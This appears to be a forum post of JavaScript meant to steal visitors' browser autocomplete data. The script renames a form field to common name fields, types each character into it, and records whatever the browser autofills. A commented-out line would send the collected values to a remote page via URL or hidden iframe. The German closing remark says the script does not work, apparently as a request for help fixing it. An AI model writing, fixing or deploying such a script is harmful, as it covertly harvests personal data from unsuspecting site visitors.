Code:
var results = new Array();
var alphabet = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'1','2','3','4','5','6','7','8','9','0');
var various_form_names = new Array('first_name','firstname','vorname','name'/*,'telefon','nachname','telephone','lastname','last_name','tel','date','birth','geburtstag'*/);
function start()
{
check_form('form_firstname',0,0); // Transferring form ids
alert("End of operation, sending data");
//window.location = 'http://www.example.com/index.php?data='+results; // sending results to a php-page, also possible per including a 0px-iFrame
}
function check_form(form_id,x,y)
{
var form = document.getElementById(form_id); // getting Form-Element by id
for (var y = 0; y < various_form_names.length; y++) // running through alphabeth, inclusive A-Z,a-z,0-9, extensions possible above
{
form.name = various_form_names[y];
for (var x = 0; x < alphabet.length; x++) // running through alphabeth, inclusive A-Z,a-z,0-9, extensions possible above
{
form.focus();
form.value = alphabet[x]; // writing character into form
//alert("Klick mich, checking "+form.name);
if (form.value != alphabet[x]) // check, whether someting changed, maybe set a timer here
{
results[results.length] = form.value; // putting results into global var
alert("Found something: "+form.value);
}
}
}
}
Das Problem: Es funktioniert nicht ^^